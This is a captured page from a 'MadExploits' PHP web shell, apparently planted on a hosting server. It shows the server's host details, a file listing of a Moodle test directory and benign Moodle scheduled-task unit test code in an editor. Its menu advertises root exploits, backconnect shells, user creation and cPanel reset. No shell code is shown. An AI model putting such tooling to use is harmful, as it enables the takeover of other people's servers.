Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.196
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-r--r--
accesslib_test.php
215.8
KB
-rw-r--r--
adhoc_task_test.php
18.44
KB
-rw-r--r--
adminlib_test.php
4.38
KB
-rw-r--r--
admintree_test.php
17.22
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-r--r--
analysers_test.php
13.35
KB
-rw-r--r--
antivirus_test.php
8.68
KB
-rw-r--r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-r--r--
calendar_cron_task_test.php
2.69
KB
-rw-r--r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.25
KB
-rw-r--r--
completionlib_test.php
46.83
KB
-rw-r--r--
component_test.php
40.16
KB
-rw-r--r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native.php
6.3
KB
-rw-r--r--
core_media_player_native_test....
6.3
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-r--r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.79
KB
-rw-r--r--
customcontext_test.php
3.66
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
41.96
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-r--r--
editorlib_test.php
2.01
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
14.52
KB
-rw-r--r--
event_test.php
41.06
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
events_test.php
16.17
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.59
KB
-rw-r--r--
filelib_test.php
70.81
KB
-rw-r--r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.37
KB
-rw-r--r--
filterlib_test.php
35.91
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.53
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-r--r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.4
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-r--r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
indicators_test.php
16.38
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-r--r--
message_test.php
12.43
KB
-rw-r--r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-r--r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-r--r--
moodle_page_test.php
29.58
KB
-rw-r--r--
moodle_url_test.php
12.83
KB
-rw-r--r--
moodlelib_test.php
213.97
KB
-rw-r--r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.7
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-r--r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
9.99
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
28.44
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
persistent_test.php
19.44
KB
-rw-r--r--
plugin_manager_test.php
27.26
KB
-rw-r--r--
portfoliolib_test.php
8.41
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.5
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-r--r--
regex_test.php
1.88
KB
-rw-r--r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.89
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
24.16
KB
-rw-r--r--
scss_test.php
4.48
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
12.39
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
20.69
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-r--r--
tablelib_test.php
23.48
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.59
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-r--r--
theme_config_test.php
9.41
KB
-rw-r--r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-r--r--
user_menu_test.php
3.82
KB
-rw-r--r--
user_test.php
32.33
KB
-rw-r--r--
useragent_test.php
83.88
KB
-rw-r--r--
weblib_format_text_test.php
12.05
KB
-rw-r--r--
weblib_test.php
35.06
KB
-rw-r--r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scheduled_task_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the unittests for scheduled tasks. * * @package core * @category phpunit * @copyright 2013 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once(__DIR__ . '/fixtures/task_fixtures.php'); /** * Test class for scheduled task. * * @package core * @category task * @copyright 2013 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_scheduled_task_testcase extends advanced_testcase { /** * Test the cron scheduling method */ public function test_eval_cron_field() { $testclass = new \core\task\scheduled_test_task(); $this->assertEquals(20, count($testclass->eval_cron_field('*/3', 0, 59))); $this->assertEquals(31, count($testclass->eval_cron_field('1,*/2', 0, 59))); $this->assertEquals(15, count($testclass->eval_cron_field('1-10,5-15', 0, 59))); $this->assertEquals(13, count($testclass->eval_cron_field('1-10,5-15/2', 0, 59))); $this->assertEquals(3, count($testclass->eval_cron_field('1,2,3,1,2,3', 0, 59))); $this->assertEquals(1, count($testclass->eval_cron_field('-1,10,80', 0, 59))); } public function test_get_next_scheduled_time() { global $CFG; $this->resetAfterTest(); $this->setTimezone('Europe/London'); // Let's specify the hour we are going to use initially for the test. // (note that we pick 01:00 that is tricky for Europe/London, because // it's exactly the Daylight Saving Time Begins hour. $testhour = 1; // Test job run at 1 am. $testclass = new \core\task\scheduled_test_task(); // All fields default to '*'. $testclass->set_hour($testhour); $testclass->set_minute('0'); // Next valid time should be 1am of the next day. $nexttime = $testclass->get_next_scheduled_time(); $oneamdate = new DateTime('now', new DateTimeZone('Europe/London')); $oneamdate->setTime($testhour, 0, 0); // Once a year (currently last Sunday of March), when changing to Daylight Saving Time, // Europe/London 01:00 simply doesn't exists because, exactly at 01:00 the clock // is advanced by one hour and becomes 02:00. When that happens, the DateInterval // calculations cannot be to advance by 1 day, but by one less hour. That is exactly when // the next scheduled run will happen (next day 01:00). $isdaylightsaving = false; if ($testhour < (int)$oneamdate->format('H')) { $isdaylightsaving = true; } // Make it 1 am tomorrow if the time is after 1am. if ($oneamdate->getTimestamp() < time()) { $oneamdate->add(new DateInterval('P1D')); if ($isdaylightsaving) { // If today is Europe/London Daylight Saving Time Begins, expectation is 1 less hour. $oneamdate->sub(new DateInterval('PT1H')); } } $oneam = $oneamdate->getTimestamp(); $this->assertEquals($oneam, $nexttime, 'Next scheduled time is 1am.'); // Disabled flag does not affect next time. $testclass->set_disabled(true); $nexttime = $testclass->get_next_scheduled_time(); $this->assertEquals($oneam, $nexttime, 'Next scheduled time is 1am.'); // Now test for job run every 10 minutes. $testclass = new \core\task\scheduled_test_task(); // All fields default to '*'. $testclass->set_minute('*/10'); // Next valid time should be next 10 minute boundary. $nexttime = $testclass->get_next_scheduled_time(); $minutes = ((intval(date('i') / 10))+1) * 10; $nexttenminutes = mktime(date('H'), $minutes, 0); $this->assertEquals($nexttenminutes, $nexttime, 'Next scheduled time is in 10 minutes.'); // Disabled flag does not affect next time. $testclass->set_disabled(true); $nexttime = $testclass->get_next_scheduled_time(); $this->assertEquals($nexttenminutes, $nexttime, 'Next scheduled time is in 10 minutes.'); // Test hourly job executed on Sundays only. $testclass = new \core\task\scheduled_test_task(); $testclass->set_minute('0'); $testclass->set_day_of_week('7'); $nexttime = $testclass->get_next_scheduled_time(); $this->assertEquals(7, date('N', $nexttime)); $this->assertEquals(0, date('i', $nexttime)); // Test monthly job $testclass = new \core\task\scheduled_test_task(); $testclass->set_minute('32'); $testclass->set_hour('0'); $testclass->set_day('1'); $nexttime = $testclass->get_next_scheduled_time(); $this->assertEquals(32, date('i', $nexttime)); $this->assertEquals(0, date('G', $nexttime)); $this->assertEquals(1, date('j', $nexttime)); } public function test_timezones() { global $CFG, $USER; // The timezones used in this test are chosen because they do not use DST - that would break the test. $this->resetAfterTest(); $this->setTimezone('Asia/Kabul'); $testclass = new \core\task\scheduled_test_task(); // Scheduled tasks should always use servertime - so this is 03:30 GMT. $testclass->set_hour('1'); $testclass->set_minute('0'); // Next valid time should be 1am of the next day. $nexttime = $testclass->get_next_scheduled_time(); // GMT+05:45. $USER->timezone = 'Asia/Kathmandu'; $userdate = userdate($nexttime); // Should be displayed in user timezone. // I used http://www.timeanddate.com/worldclock/fixedtime.html?msg=Moodle+Test&iso=20160502T01&p1=113 // setting my location to Kathmandu to verify this time. $this->assertStringContainsString('2:15 AM', core_text::strtoupper($userdate)); } public function test_reset_scheduled_tasks_for_component_customised(): void { $this->resetAfterTest(true); $tasks = \core\task\manager::load_scheduled_tasks_for_component('moodle'); // Customise a task. $task = reset($tasks); $task->set_minute('1'); $task->set_hour('2'); $task->set_month('3'); $task->set_day_of_week('4'); $task->set_day('5'); $task->set_customised('1'); \core\task\manager::configure_scheduled_task($task); // Now call reset. \core\task\manager::reset_scheduled_tasks_for_component('moodle'); // Fetch the task again. $taskafterreset = \core\task\manager::get_scheduled_task(get_class($task)); // The task should still be the same as the customised. $this->assertTaskEquals($task, $taskafterreset); } public function test_reset_scheduled_tasks_for_component_deleted(): void { global $DB; $this->resetAfterTest(true); // Delete a task to simulate the fact that its new. $tasklist = \core\task\manager::load_scheduled_tasks_for_component('moodle'); // Note: This test must use a task which does not use any random values. $task = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); $DB->delete_records('task_scheduled', array('classname' => '\\' . trim(get_class($task), '\\'))); $this->assertFalse(\core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class)); // Now call reset on all the tasks. \core\task\manager::reset_scheduled_tasks_for_component('moodle'); // Assert that the second task was added back. $taskafterreset = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); $this->assertNotFalse($taskafterreset); $this->assertTaskEquals($task, $taskafterreset); $this->assertCount(count($tasklist), \core\task\manager::load_scheduled_tasks_for_component('moodle')); } public function test_reset_scheduled_tasks_for_component_changed_in_source(): void { $this->resetAfterTest(true); // Delete a task to simulate the fact that its new. // Note: This test must use a task which does not use any random values. $task = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); // Get a copy of the task before maing changes for later comparison. $taskbeforechange = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); // Edit a task to simulate a change in its definition (as if it was not customised). $task->set_minute('1'); $task->set_hour('2'); $task->set_month('3'); $task->set_day_of_week('4'); $task->set_day('5'); \core\task\manager::configure_scheduled_task($task); // Fetch the task out for comparison. $taskafterchange = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); // The task should now be different to the original. $this->assertTaskNotEquals($taskbeforechange, $taskafterchange); // Now call reset. \core\task\manager::reset_scheduled_tasks_for_component('moodle'); // Fetch the task again. $taskafterreset = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); // The task should now be the same as the original. $this->assertTaskEquals($taskbeforechange, $taskafterreset); } /** * Tests that the reset function deletes old tasks. */ public function test_reset_scheduled_tasks_for_component_delete() { global $DB; $this->resetAfterTest(true); $count = $DB->count_records('task_scheduled', array('component' => 'moodle')); $allcount = $DB->count_records('task_scheduled'); $task = new \core\task\scheduled_test_task(); $task->set_component('moodle'); $record = \core\task\manager::record_from_scheduled_task($task); $DB->insert_record('task_scheduled', $record); $this->assertTrue($DB->record_exists('task_scheduled', array('classname' => '\core\task\scheduled_test_task', 'component' => 'moodle'))); $task = new \core\task\scheduled_test2_task(); $task->set_component('moodle'); $record = \core\task\manager::record_from_scheduled_task($task); $DB->insert_record('task_scheduled', $record); $this->assertTrue($DB->record_exists('task_scheduled', array('classname' => '\core\task\scheduled_test2_task', 'component' => 'moodle'))); $aftercount = $DB->count_records('task_scheduled', array('component' => 'moodle')); $afterallcount = $DB->count_records('task_scheduled'); $this->assertEquals($count + 2, $aftercount); $this->assertEquals($allcount + 2, $afterallcount); // Now check that the right things were deleted. \core\task\manager::reset_scheduled_tasks_for_component('moodle'); $this->assertEquals($count, $DB->count_records('task_scheduled', array('component' => 'moodle'))); $this->assertEquals($allcount, $DB->count_records('task_scheduled')); $this->assertFalse($DB->record_exists('task_scheduled', array('classname' => '\core\task\scheduled_test2_task', 'component' => 'moodle'))); $this->assertFalse($DB->record_exists('task_scheduled', array('classname' => '\core\task\scheduled_test_task', 'component' => 'moodle'))); } public function test_get_next_scheduled_task() { global $DB; $this->resetAfterTest(true); // Delete all existing scheduled tasks. $DB->delete_records('task_scheduled'); // Add a scheduled task. // A task that runs once per hour. $record = new stdClass(); $record->blocking = true; $record->minute = '0'; $record->hour = '0'; $record->dayofweek = '*'; $record->day = '*'; $record->month = '*'; $record->component = 'test_scheduled_task'; $record->classname = '\core\task\scheduled_test_task'; $DB->insert_record('task_scheduled', $record); // And another one to test failures. $record->classname = '\core\task\scheduled_test2_task'; $DB->insert_record('task_scheduled', $record); // And disabled test. $record->classname = '\core\task\scheduled_test3_task'; $record->disabled = 1; $DB->insert_record('task_scheduled', $record); $now = time(); // Should get handed the first task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertInstanceOf('\core\task\scheduled_test_task', $task); $task->execute(); \core\task\manager::scheduled_task_complete($task); // Should get handed the second task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertInstanceOf('\core\task\scheduled_test2_task', $task); $task->execute(); \core\task\manager::scheduled_task_failed($task); // Should not get any task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertNull($task); // Should get the second task (retry after delay). $task = \core\task\manager::get_next_scheduled_task($now + 120); $this->assertInstanceOf('\core\task\scheduled_test2_task', $task); $task->execute(); \core\task\manager::scheduled_task_complete($task); // Should not get any task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertNull($task); // Check ordering. $DB->delete_records('task_scheduled'); $record->lastruntime = 2; $record->disabled = 0; $record->classname = '\core\task\scheduled_test_task'; $DB->insert_record('task_scheduled', $record); $record->lastruntime = 1; $record->classname = '\core\task\scheduled_test2_task'; $DB->insert_record('task_scheduled', $record); // Should get handed the second task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertInstanceOf('\core\task\scheduled_test2_task', $task); $task->execute(); \core\task\manager::scheduled_task_complete($task); // Should get handed the first task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertInstanceOf('\core\task\scheduled_test_task', $task); $task->execute(); \core\task\manager::scheduled_task_complete($task); // Should not get any task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertNull($task); } public function test_get_broken_scheduled_task() { global $DB; $this->resetAfterTest(true); // Delete all existing scheduled tasks. $DB->delete_records('task_scheduled'); // Add a scheduled task. // A broken task that runs all the time. $record = new stdClass(); $record->blocking = true; $record->minute = '*'; $record->hour = '*'; $record->dayofweek = '*'; $record->day = '*'; $record->month = '*'; $record->component = 'test_scheduled_task'; $record->classname = '\core\task\scheduled_test_task_broken'; $DB->insert_record('task_scheduled', $record); $now = time(); // Should not get any task. $task = \core\task\manager::get_next_scheduled_task($now); $this->assertDebuggingCalled(); $this->assertNull($task); } /** * Tests the use of 'R' syntax in time fields of tasks to get * tasks be configured with a non-uniform time. */ public function test_random_time_specification() { // Testing non-deterministic things in a unit test is not really // wise, so we just test the values have changed within allowed bounds. $testclass = new \core\task\scheduled_test_task(); // The test task defaults to '*'. $this->assertIsString($testclass->get_minute()); $this->assertIsString($testclass->get_hour()); // Set a random value. $testclass->set_minute('R'); $testclass->set_hour('R'); $testclass->set_day_of_week('R'); // Verify the minute has changed within allowed bounds. $minute = $testclass->get_minute(); $this->assertIsInt($minute); $this->assertGreaterThanOrEqual(0, $minute); $this->assertLessThanOrEqual(59, $minute); // Verify the hour has changed within allowed bounds. $hour = $testclass->get_hour(); $this->assertIsInt($hour); $this->assertGreaterThanOrEqual(0, $hour); $this->assertLessThanOrEqual(23, $hour); // Verify the dayofweek has changed within allowed bounds. $dayofweek = $testclass->get_day_of_week(); $this->assertIsInt($dayofweek); $this->assertGreaterThanOrEqual(0, $dayofweek); $this->assertLessThanOrEqual(6, $dayofweek); } /** * Test that the file_temp_cleanup_task removes directories and * files as expected. */ public function test_file_temp_cleanup_task() { global $CFG; $backuptempdir = make_backup_temp_directory(''); // Create directories. $dir = $backuptempdir . DIRECTORY_SEPARATOR . 'backup01' . DIRECTORY_SEPARATOR . 'courses'; mkdir($dir, 0777, true); // Create files to be checked and then deleted. $file01 = $dir . DIRECTORY_SEPARATOR . 'sections.xml'; file_put_contents($file01, 'test data 001'); $file02 = $dir . DIRECTORY_SEPARATOR . 'modules.xml'; file_put_contents($file02, 'test data 002'); // Change the time modified for the first file, to a time that will be deleted by the task (greater than seven days). touch($file01, time() - (8 * 24 * 3600)); $task = \core\task\manager::get_scheduled_task('\\core\\task\\file_temp_cleanup_task'); $this->assertInstanceOf('\core\task\file_temp_cleanup_task', $task); $task->execute(); // Scan the directory. Only modules.xml should be left. $filesarray = scandir($dir); $this->assertEquals('modules.xml', $filesarray[2]); $this->assertEquals(3, count($filesarray)); // Change the time modified on modules.xml. touch($file02, time() - (8 * 24 * 3600)); // Change the time modified on the courses directory. touch($backuptempdir . DIRECTORY_SEPARATOR . 'backup01' . DIRECTORY_SEPARATOR . 'courses', time() - (8 * 24 * 3600)); // Run the scheduled task to remove the file and directory. $task->execute(); $filesarray = scandir($backuptempdir . DIRECTORY_SEPARATOR . 'backup01'); // There should only be two items in the array, '.' and '..'. $this->assertEquals(2, count($filesarray)); // Change the time modified on all of the files and directories. $dir = new \RecursiveDirectoryIterator($CFG->tempdir); // Show all child nodes prior to their parent. $iter = new \RecursiveIteratorIterator($dir, \RecursiveIteratorIterator::CHILD_FIRST); for ($iter->rewind(); $iter->valid(); $iter->next()) { if ($iter->isDir() && !$iter->isDot()) { $node = $iter->getRealPath(); touch($node, time() - (8 * 24 * 3600)); } } // Run the scheduled task again to remove all of the files and directories. $task->execute(); $filesarray = scandir($CFG->tempdir); // All of the files and directories should be deleted. // There should only be three items in the array, '.', '..' and '.htaccess'. $this->assertEquals([ '.', '..', '.htaccess' ], $filesarray); } /** * Test that the function to clear the fail delay from a task works correctly. */ public function test_clear_fail_delay() { $this->resetAfterTest(); // Get an example task to use for testing. Task is set to run every minute by default. $taskname = '\core\task\send_new_user_passwords_task'; // Pretend task started running and then failed 3 times. $before = time(); $cronlockfactory = \core\lock\lock_config::get_lock_factory('cron'); for ($i = 0; $i < 3; $i ++) { $task = \core\task\manager::get_scheduled_task($taskname); $lock = $cronlockfactory->get_lock('\\' . get_class($task), 10); $task->set_lock($lock); \core\task\manager::scheduled_task_failed($task); } // Confirm task is now delayed by several minutes. $task = \core\task\manager::get_scheduled_task($taskname); $this->assertEquals(240, $task->get_fail_delay()); $this->assertGreaterThan($before + 230, $task->get_next_run_time()); // Clear the fail delay and re-get the task. \core\task\manager::clear_fail_delay($task); $task = \core\task\manager::get_scheduled_task($taskname); // There should be no delay and it should run within the next minute. $this->assertEquals(0, $task->get_fail_delay()); $this->assertLessThan($before + 70, $task->get_next_run_time()); } /** * Assert that the specified tasks are equal. * * @param \core\task\task_base $task * @param \core\task\task_base $comparisontask */ public function assertTaskEquals(\core\task\task_base $task, \core\task\task_base $comparisontask): void { // Convert both to an object. $task = \core\task\manager::record_from_scheduled_task($task); $comparisontask = \core\task\manager::record_from_scheduled_task($comparisontask); // Reset the nextruntime field as it is intentionally dynamic. $task->nextruntime = null; $comparisontask->nextruntime = null; $args = array_merge( [ $task, $comparisontask, ], array_slice(func_get_args(), 2) ); call_user_func_array([$this, 'assertEquals'], $args); } /** * Assert that the specified tasks are not equal. * * @param \core\task\task_base $task * @param \core\task\task_base $comparisontask */ public function assertTaskNotEquals(\core\task\task_base $task, \core\task\task_base $comparisontask): void { // Convert both to an object. $task = \core\task\manager::record_from_scheduled_task($task); $comparisontask = \core\task\manager::record_from_scheduled_task($comparisontask); // Reset the nextruntime field as it is intentionally dynamic. $task->nextruntime = null; $comparisontask->nextruntime = null; $args = array_merge( [ $task, $comparisontask, ], array_slice(func_get_args(), 2) ); call_user_func_array([$this, 'assertNotEquals'], $args); } /** * Assert that the lastruntime column holds an original value after a scheduled task is reset. */ public function test_reset_scheduled_tasks_for_component_keeps_original_lastruntime(): void { global $DB; $this->resetAfterTest(true); // Set lastruntime for the scheduled task. $DB->set_field('task_scheduled', 'lastruntime', 123456789, ['classname' => '\core\task\session_cleanup_task']); // Reset the task. \core\task\manager::reset_scheduled_tasks_for_component('moodle'); // Fetch the task again. $taskafterreset = \core\task\manager::get_scheduled_task(core\task\session_cleanup_task::class); // Confirm, that lastruntime is still in place. $this->assertEquals(123456789, $taskafterreset->get_last_run_time()); } }
Close